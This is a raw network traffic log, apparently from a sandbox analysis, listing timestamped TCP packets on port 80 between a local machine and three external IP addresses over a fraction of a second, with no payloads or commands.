Aug 30, 2024 03:17:07.908091068 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.908101082 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.908121109 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.908126116 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.908135891 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.908140898 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.908145905 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.908147097 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.908150911 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.908169031 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.908186913 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.908199072 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.908202887 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.908204079 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.908215046 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.908220053 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.908225060 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.908261061 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.908261061 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.908261061 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.908389091 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.909115076 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.909172058 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.909178019 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.909239054 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.909266949 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.909272909 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.909284115 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.909288883 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.909312010 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.909337044 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.909384012 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.909389973 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.909400940 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.909405947 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.909413099 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.909423113 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.909427881 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.909430981 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.909466982 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.909466982 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.945689917 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.945864916 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.945869923 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.945884943 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.945924044 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.945935965 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.945971012 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.945976973 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.945987940 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.945993900 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.946017981 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.946046114 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.946158886 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.946171045 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.946183920 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.946188927 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.946194887 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.946201086 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.946211100 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.946222067 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.946244955 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.948915958 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.948923111 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.948934078 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.948985100 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.948992014 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.948997974 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.949004889 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.949009895 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.949016094 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.949033976 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.949045897 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.949094057 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.949100018 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.949111938 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.949117899 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.949124098 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.949140072 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.949163914 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.949171066 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.949218988 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.949254036 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.949259996 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.949265957 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.949270964 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.949297905 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.949321985 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.949366093 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.949372053 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.949387074 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.949393988 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.949404955 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.949410915 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.949410915 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.949434996 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.949444056 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.949532986 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.949538946 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.949580908 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.949606895 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.949615002 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.949654102 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.951189041 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.951232910 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.951236963 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.951289892 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.951322079 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.951328039 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.951366901 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.970004082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970036983 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970046043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970057011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970060110 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.970062017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970067978 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970073938 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970101118 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.970113039 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.970136881 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970143080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970155001 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970177889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970182896 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970218897 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.970218897 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.970236063 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970242023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970252037 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970278978 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970283985 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970293999 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970309973 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.970370054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970375061 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970381975 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970393896 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.970431089 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970437050 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970438957 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.970447063 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970479965 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.970510960 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.970521927 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970527887 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970540047 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970556974 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970562935 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970566988 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970572948 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970582008 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.970602036 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.970635891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970635891 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.970643044 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970659971 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970665932 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970673084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970691919 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.970726013 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.970731974 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970736980 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970741987 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970773935 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.970789909 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.970834017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970839977 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970849991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970864058 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970870972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970880985 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970896959 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.970896959 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.970913887 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970920086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970959902 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.970959902 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.970988035 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.970993042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971004009 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971009970 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971015930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971034050 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.971041918 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971048117 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.971084118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971088886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971095085 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971100092 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971132994 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.971132994 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.971174955 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971180916 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971191883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971220016 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971221924 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.971221924 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.971224070 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971230984 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971235037 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971273899 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.971273899 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.971291065 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971297026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971307993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971344948 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.971344948 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.971378088 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971384048 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971394062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971400023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971405983 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971419096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971440077 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.971482038 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.971518993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971524954 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971534967 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971540928 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971545935 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971551895 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971592903 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.971611977 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.971620083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971626043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971635103 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971640110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971645117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971677065 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.971677065 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.971682072 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971685886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971724987 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.971796989 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971801996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971812963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971857071 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.971857071 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.971884966 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971889019 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971899986 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971905947 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971930027 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.971940041 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.971963882 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971970081 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971980095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971985102 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.971990108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.972027063 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.972027063 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.972035885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.972042084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.972076893 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.972112894 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.972117901 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.972122908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.972157955 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.972218037 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.972278118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.972347021 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.972371101 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.972436905 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.972449064 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.972459078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.972465038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.972500086 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.972500086 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.972521067 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.972585917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.972590923 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.972595930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.972604036 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.972666979 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.972671986 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.972697020 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.972702026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.972718000 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.972755909 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.972774982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.972780943 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.972786903 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.972790956 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.972796917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.972825050 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.972825050 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.972851038 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.972860098 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.972866058 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.972877026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.972904921 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.972908974 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.972910881 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.972955942 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.981337070 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.981370926 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.981380939 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.981432915 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.981465101 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.981471062 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.981482029 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.981487036 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.981507063 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.981515884 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.982276917 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.982283115 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.982287884 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.982316971 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.982404947 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.982412100 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.982422113 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.982450962 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.982528925 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.982533932 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.982564926 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.983251095 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.983302116 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.983336926 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.983374119 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.983407974 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.983412981 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.983423948 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.983428955 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.983455896 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.983474016 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.983498096 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.983504057 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.983540058 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.984415054 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.984421015 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.984431982 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.984483957 CEST	49737	80	192.168.2.4	176.113.115.33
